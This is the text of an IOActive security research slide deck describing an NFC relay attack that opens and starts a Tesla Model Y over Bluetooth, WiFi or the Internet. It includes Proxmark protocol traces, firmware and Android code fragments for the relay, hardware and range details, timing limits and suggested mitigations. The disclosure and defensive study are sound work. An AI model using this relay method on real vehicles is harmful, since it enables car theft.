Tesla ModelY NFC relay attack from 1000's of km away.

Josep Pi Rodriguez Principal Security Consultant



About IOActive and myself





About me



- Reverse engineering. From bare metal firmware to Operating Systems...
- HW Hacker. Memory chip extractions, intraboard attacks, fault injection...
- Code review. Firmware, Operating Systems, Server-client Applications...
- I like to break stuff and face challenges but also to find fixes and mitigations for my findings.



Who We Are



- Highly-skilled security authorities, real-world expertise
 - Industry leading research in:
 - Automotive, Transportation, Healthcare, SCADA/ICS, Robotics, Smart Cities and Silicon
 - 'Attacker' mindset with unshakeable ethics
 - Breadth, depth of global services
 - Multimillion dollar hardware hacking labs in Seattle, Madrid, and UK
- Staying power: company founded in 1998
 - Commitment to assuring client satisfaction



Vehicle Cybersecurity Customers



- Most major passenger vehicle manufacturers (US, EMEA, Japan)
- Almost every major commercial vehicle manufacturer (US, EMEA)
- Several autonomous vehicle manufacturers
- Several EVSE manufacturers and operators
- Many tier 1 suppliers
- Many tier 2+ suppliers
- Some fleet operators
- Numerous telematics providers
- Have reviewed IT, OT and PT in vehicle space
- Numerous non-ground vehicle clients



Motivations





Motivations



- Number one, It is fun.
- Check NFC relay attack against Newest Tesla Model Y. Is it still possible like other Tesla Models?
- Using Proxmark with its newest available features. Blueshark + standalone.
- Explore the attack over Bluetooth, WiFi and Internet (mule & attacker).
- Explore NFC distances between mule and card or phone.



NFC Relay attack





Relay Attack



- Nothing new, being exploited by attackers since many years ago.
- Relay the cryptographic material between client and vehicle.





How the NFC feature works in vehicles (oversimplified):



2. I generated the response for that challenge, here it is for you.







1. Hey, give me the response for this cryptographic challenge





The Plan



- Sniff communications between client (card or phone) and vehicle.
- Reverse engineer protocol, from low level to application layer (APDU).
- Build 2 clients. Mule (smartphone or embedded device). Attacker, Proxmark that communicates with vehicle and Mule's device.
- Experiment with it.







Proxmark RDV 4.0 with Blueshark module.





The Tool



• Why:

- It is very small, portable and cheap.
- It is very powerful. Lots of capabilities with blueshark module.
- Can be used for the Sniffing process.
- Can be used to perform the attack.



The Tool



- Blueshark module:
- Adds Battery, no cable is needed to power the Proxmark.
- Adds Bluetooth capability to the Proxmark.





The Tool



- Standalone mode:
- Proxmark has an ARM SoC where you can run your own code.
- Our code can interact with the Bluetooth chip over UART and with the Proxmark's FPGA for the NFC comms. More on this later..





The Plan



- Sniff communications between client (card or phone) and vehicle.
- Reverse engineer protocol, from low level to application layer (APDU).
- Build 2 clients. Mule (smartphone or embedded device). Attacker, Proxmark that communicates with vehicle and Mule's device.
- Experiment with it.



Communications analysis with Proxmark.

	1	Start	End	Src	Dat	a (!	den	otes	par	ity	erro	r)									CRC	Annot	ation
		0	1056	Rdr	26																	REQA	
		2244	4612	Tag	48	00																	011
		90552	92810	Tag	88	20																	ULL
		189136	199664	Rdr	93	70	88	04	37	5f	e4	bb	80								ok	SELEC	T_UID
		200868	204388	Tag	24	d8	36																
	9	310352	312816	Rdr	95	20																ANTIC	0LL-2
	10	314020	319844	lag	05	70	42	40	50	00	42	1.4	75								ak		011 2
	12	400010	41/344	Tag	95	70 fc	70	49	29	00	42	10	/5								OK		ULL-2
	13	418552	499760	Rdr	20 e0	60	3f	94													ok	RATS	
	14	501604	509796	Tag	05	78	77	91	02	d5	b6										ok		
	15	570688	571744	Rdr	26																	REQA	
		690752	712736	Rdr	0a	00	00	a4	04	00	0a	f4	65	73	6c	61	4c	6f	67	69	i	i	
	17				63	f8	09														ok	?	
	18	1010196	1017172	Tag	0a	00	6d	00	83	5f											ok		
	19	1069600	1070656	Rdr	26																	REQA	
	20	11//216	1199200	Rdr	0b	00	00	a4	04	00	0a	74	65	73	6C	61	4c	61	67	69			
	21	121/272	1221412	Tag	03	01	DD	00	40	0 f													
	22	1378064	1370120	Pdr I	26	00	90	00	40	01													
	24	1496768	1497824	Rdr	26																ł	REOA	
	25	1628528	1629584	Rdr	26																i i	REOA	
		1761504	1762560	Rdr	26																i i	REQA	
		1878624	1879680	Rdr	26																i	REQA	
		1991648	1992704	Rdr	26																İ 👘	REQA	
		2113568	2151872	Rdr	0a	00	80	11	00	00	51	04	ae	be	64	04	fa	bb	97	5b	1		
	30				a7	8c	00	05	c1	28	76	ab	50	f8	7c	8c	60	d8	42	96	!		
	31				ee	62	53	82	Øa	3e	bc	16	5a	te	2e	50	93	71	94	16			
	32				63	ep	4a	70	80	ad	36	08	30	00	69	50	a5 20	6D	31	90			
	30			8	66	29	30	90	0h	dd fa	05	do da	50 cf	c0	cc	34	20	20	99	30		1 2	
	35	2292212	2293300	Tag	fal		30	JC	30	Ia	35	ua	CI										
	36	2303284	2304948	Tag	a3!	02															i -		
		2639604	2645428	Tag	fa	00	01	d3	4b												i	i	
		2704352	2710208	Rdr	fa	00	01	d3	4b												j ok	j ?	
		3132468	3138292	Tag	fa	00	01	d3	4b												1		
	40	3196944	3202800	Rdr	fa	00	01	d3	4b												ok	?	
	41	3506388	3512212	Tag	fa	00	01	d3	4b												! .		
	42	3570032	35/5888	Rdr	fa	00	01	43	4D												l ok	1.3	
	43	3884612	3890436	Pdr	fa	00	01	60	4D 4b												l ak		
	44	4028852	1020300	Tag	07	00	01	us	40													l f	
	46	4098020	4123428	Tag	0a	00	аа	9e	8e	с7	5d	cf	6a	d8	8a	dØ	0c	5b	c5	41			
	47			9	15	0a	90	00	8a	cf											i ok	i	
		4175328	4176384	Rdr	26																I	REQA	
1		4278736	4279792	Rdr	26																1	REQA	
		4406480	4407536	Rdr	26																	REQA	
(l)	51	4537984	4539040	Rdr	26																	REQA	
	52	4668432	4669488	Rdr	26																		

NFC low level

APP layer (APDU)



Communications analysis with Proxmark.

	1	Start	End	Src	Dat	a (!	den	otes	par	ity	erro	r)									CRC	Annota	ation	
		0	1056	Rdr	26																	REQA		
		2244	4612	Tag	48	00																		
		90352	92816	Kar	93	20																ANIIC	JLL	
		189136	199664	Rdr I	93	70	88	04	37	5f	e4	hb	80								ok	SELEC	г штр	
		200868	204388	Tag I	24	d8	36															JULLE		
		310352	312816	Rdr	95	20															i i	ANTIC	DLL-2	
		314020	319844	Tag																	i i			
	11	406816	417344	Rdr	95	70	d2	49	59	80	42	1d	75								ok	ANTIC	DLL-2	
	12	418532	422116	Tag	20	tc	70	~ 4													- 1-	DATC		
	13	494992	499760	Kar	e0 05	50	31	94	A 2	dE	h 6										OK	RAIS		
	14	570688	571744	Rdr I	26	/0	<i>''</i>	91	02	us	00										UK	REOA		
	16	690752	712736	Rdr	0a	00	00	a4	04	00	0a	f4	65	73	6c	61	4c	6f	67	69		n Lyn		
					63	f8	09														ok	?		
		1010196	1017172	Tag	0a	00	6d	00	83	5f											jok			
	19	1069600	1070656	Rdr	26																	REQA		
	20	1177216	1199200	Rdr	Øb	00	00	a4	04	00	0a	74	65	73	6c	61	4c	6f	67	69	- 1-			
	21	121/272	1221412	Tag	63 0h	01	DD	00	40	0 f												ſ		
	22	1378064	1370120	Ddr I	26	00	90	00	40	01												REOA		
	24	1496768	1497824	Rdr	26																	REOA		
	25	1628528	1629584	Rdri	26																	REOA		
		1761504	1762560	Rdr	26																i i	REQA		
		1878624	1879680	Rdr	26																i i	REQA		
	28	1991648	1992704	Rdr	26																	REQA		
	29	2113568	2151872	Rdr	0a	00	80	11	00	00	51	04	ae	be	64	04	fa	bb	97	5b				
	30				a/	80	60	05	C1	28	/6	ab	50	18	/c	80	60	a8 74	42	96				
	31				ee	02 ab	23	82 h7	0a 00	3e	26	10	5a 2h	те 00	2e 60	50	93	/T	94 2f	10				
	32		ł		60	29	e1	7d	a6	au	a4	80	50	c8	09	3a	28	58	99	3b				
	34			i	bb	c6	3c	9c	9b	fa	95	da	cf	c1							ok	?		
		2292212	2293300	Tag j	fa!																i i			
	36	2303284	2304948	Tag	a3!	02															i i			
	37	2639604	2645428	Tag	fa	00	01	d3	4b															
	38	2704352	2710208	Rdr	fa	00	01	d3	4b												ok	?		
	39	3132468	3138292	lag	та	00	01	22	4D												l ak	2		
	40	3506388	3512212	Tan	fa	00	01	Eh	40 4h													ſ		
	42	3570032	3575888	Rdr	fa	00	01	бЪ	4h												ok	2		
		3884612	3890436	Tag	fa	00	01	d3	4b													1.11		
		3946784	3952640	Rdr	fa	00	01	d3	4b												ok	?		
		4028852	4029300	Tag	07																			
	46	4098020	4123428	Tag	0a	00	aa	9e	8e	c7	5d	cf	6a	d8	8a	d0	0c	5b	c5	41	<u> </u>			
1	47	4475220	4170204	D .1	15	0a	90	00	8a	cf											ok			
10	48	41/5328	41/6384	Rar	20																	REUA		
	50	4278736	42/9/92	Rdr	20																	REQA		
la	51	4537984	4539040	Rdr	26																	REOA		
	52	4668432	4669488	Rdr	26																	REQA		
	E 2	4701000	4793964	Dde	26																	PEOA		



1 Select AID used for smartphones.

1 6d00 from NFC card.

2 Select AID for NFC card.

2 9000 from card.



Communications analysis with Proxmark.

	1	Start	End	Src	Dat	a (!	den	otes	par	ity	erro	r)									CRC	Annot	ation
			1056	Rdr	26																	REQA	
		2244	4612	Tag	48	00																	
		90352	92816	Rdr	93	20																ANTIC	OLL
		94020	99844	lag	88	70						6.6	~~									05150	T 1170
		189136	199664	Kar	93	70	88	04	37	51	e4	DD	80								ок	SELEC	1_010
		200000	204300	lag	24	20	30															ANITTO	011-2
	10	31/020	310844		95	20																ANTIC	ULL-2
	11	406816	417344	Rdr	95	70	d2	49	59	80	42	1d	75								ok	ANTTO	011-2
	12	418532	422116	Таа	20	fc	70																
	13	494992	499760	Rdr	e0	60	3f	94													ok	RATS	
		501604	509796	Tag	05	78	77	91	02	d5	b6										ok		
		570688	571744	Rdr	26																i i	REQA	
		690752	712736	Rdr	0a	00	00	a4	04	00	0a	f4	65	73	6c	61	4c	6f	67	69	1		
	17				63	f8	09														ok	?	
	18	1010196	1017172	Tag	0a	00	6d	00	83	5f											ok		
	19	1069600	1070656	Rdr	26																	REQA	
	20	11//216	1199200	Rdr	00	00	00	a4	04	00	0a	74	65	73	6C	61	4c	6†	67	69	- 1-		
	21	121/272	1221/12	Tag	03	01	DD	00	40	0 f												ſ	
	22	1314372	1321412	Tag Pdr	26	00	90	00	48	01											I OK	DEUV	
	24	1496768	1497824	Rdr	20																	REOA	
	25	1628528	1629584	Rdr	26																	REOA	
	26	1761504	1762560	Rdr	26																i i	REOA	
	27	1878624	1879680	Rdr	26																	REOA	
		1991648	1992704	Rdr	26																i i	REQA	
		2113568	2151872	Rdr	0a	00	80	11	00	00	51	04	ae	be	64	04	fa	bb	97	5b			
	30				a7	8c	00	05	c1	28	76	ab	50	f8	7c	8c	60	d8	42	96			
	31				ee	62	53	82	0a	3e	bc	f6	5a	fe	2e	50	93	7f	94	16			
	32				63	eb	4a	<u>b7</u>	80	ad	36	68	3b	00	69	50	a5	6b	3f	9b			
	33				60	29	e1	/a	аь 0 ь	aa	a4	80	50	C8	cc	зa	28	58	99	30	- 10		
	34	2202212	2202200	Tag		CO	30	90	90	та	95	ua	CT	C1							OK	ſ	
	35	2292212	2293300	Tag	1 3 3 1	02																	
	37	2639604	2645428	Tag	fa	002	01	Ъb	4h														
	38	2704352	2710208	Rdr	fa	00	01	d3	4b												ok	?	
		3132468	3138292	Таа	fa	00	01	d3	4b														
		3196944	3202800	Rdr	fa	00	01	d3	4b												ok	?	
		3506388	3512212	Tag	fa	00	01	d3	4b												i i		
		3570032	3575888	Rdr	fa	00	01	d3	4b												ok	?	
		3884612	3890436	Tag	fa	00	01	d3	4b														
	44	3946784	3952640	Rdr	fa	00	01	d3	4b												ok	?	
	45	4028852	4029300	Tag	07																!		
	46	4098020	4123428	lag	0a	00	aa	9e	8e	c/	50	ct	6a	d 8	8a	dØ	ØC	56	c5	41			
11	47	4175220	4176204	Ddr	15	Øa	90	00	8a	ст											OK	DEOA	
14	40	41/3326	41/0304	Rdr I	20																	DEOA	
	50	42/8/30	4407536	Rdr_	20																	REQA	
6	51	4537984	4539040	Rdr	26																	REOA	
	52	4668432	4669488	Rdr	26																	REOA	
	E 2	4701000	4702064	Dela	26																	DEOA	



3 Crypto challenge.

4 Waiting time Extension.

5 Crypto response.







2. I generated the response for that challenge, here it is for you.



the victim's card



The plan.

 ∇







Must read:



https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode

https://github.com/RfidResearchGroup/proxmark3/blob/master/armsrc/Standa lone/hf_reblay.c







Emulate an ISO 14443





















©2023 IOActive, Inc. All rights reserved. 26



(receivedCmd[3] == 0x11) {
DbpString(_YELLOW_("!!") "Receiving Challenge from reader"); prevcmd = receivedCmd[0]: bufferlen = len; memcpy(&buffert[0], &bufferlen, 1); memcpy(&buffert[1], &receivedCmd[1], bufferlen); resp = 2;

DbpString(_YELLOW_("!!") "Sending WTX to reader"); req_crc = 0;

dynamic_response_info.response_n = 5; dynamic response info.response[0] = 0xfa; dynamic_response_info.response[1] = 0x00; dynamic_response_info.response[2] = 0x01; dynamic response info.response[3] = 0xd3; dynamic response info, response $[4] = 0 \times 4b$;

(lenpacket > 0) { DbpString(YELLOW ("[") "Answering using Bluetooth data!" YELLOW ("]")); if (rpacket[0] != 0x0b){ memcpy(&dynamic_response_info.response[2], rpacket, lenpacket); dynamic response info.response[0] = 0x0a; dynamic_response_info.response[1] = 0x00; dynamic_response_info.response[lenpacket+2] = 0x90; dynamic_response_info.response[lenpacket+3] = 0x00; dynamic_response_info.response_n = lenpacket + 4; $req_crc = 1;$ lenpacket = 0; resp = 1: final = 1;}else { dynamic_response_info.response[0] = 0x0b; dynamic_response_info.response[1] = 0x00; dynamic_response_info.response[2] = 0x90; dynamic_response_info.response[3] = 0x00; dynamic response info.response n = 4; resp = 1; $req_crc = 1;$ lenpacket = 0; else if (resp == 2){ DbpString(YELLOW ("[") "SENDING OVER BLUETOOH: " YELLOW ("]")): Dbhexdump(bufferlen - 2, buffert, false); usart_writebuffer_sync(buffert, bufferlen - 2);

p_response = NULL; flag = 1;resp = 1:











First tests with two laptops and USB Card reader





First tests Video.









The Mule tool

Smartphone.

- ✓ Bluetooh. WiFi. NFC. Less suspicious.
- Normally not really good NFC antenna.

NFC Reader&Antenna + ESP32 kit or similar dev kit

- ✓ Wifi&bluetooth.Better NFC range.
- More suspicious.





The Mule tool



public void onTagDiscovered(Tag tag) { byte [] data; boolean lol = true; Log.i(TAG, "New tag discovered"); IsoDep isoDep = IsoDep.get(tag); if (isoDep != null) { try { isoDep.connect(): Log.i(TAG, "Requesting remote AID: "); while (lol) { if (mConnectedThread.flag == true) { data = Arrays.copyOfRange(mConnectedThread.buffer3, 2, mConnectedThread.buffer3.length); Log.i(TAG, "Sending to card challenge: " + ByteArrayToHexString(data)); byte[] result = isoDep.transceive(data); int resultLength = result.length; byte[] statusWord = {result[resultLength - 2], result[resultLength - 1]}; byte[] payload = Arrays.copyOf(result, resultLength - 2); Log.i(TAG, "Send to Proxmark challenge response : " + ByteArrayToHexString(payload)); mConnectedThread.write(payload);



©2023 IOActive, Inc. All rights reserved. 31











Conclusions after POC.



Depending on the vehicle configuration, one relay can be enough to open and start the vehicle.

Tesla's Pin to drive (4 Digit pin) is a great mitigation, but not enabled by default/enforced.

Pin to drive will avoid starting the car, but not opening it.





Let's get real about NFC ranges.

Mule with smartphone has to be very close to the victim.

The video showed might not very real world scenario... too suspicious on empty street, but still possible.

Using smartphone, a more real scenario could be...











 ∇









- "Small" long range reader + antenna. Up to 18cm distances
- In our tests, around 12 cm is stable.
- Fits in a purse. 178 x 178 x 6mm





• Long range antenna video







Attacker - Mule Distance

- How about distances between attacker and the mule?
- Bluetooth several meters.
- Wifi up to 80-100meters.
- Internet?? Maybe thousands of kilometers?







The Experiment







The Experiment







The Experiment









Demo





Conclusions



It is technically possible.

Less than 110-120ms works.

It seems that there is no limit for invalid challenge response, this makes the attack easier.



Possible mitigations



110-120ms seems a bit too permisive.

If it can be more restrictive , then WiFi and Internet can be out of the picture. Maybe even bluetooth.

But it could impact usability. Mayne find something in the middle between security and usability.

If the vehicle blocks access for , let's say, 10 secs after invalid response, it would make the attack harder.







Josep.rodriguez@ioactive.com



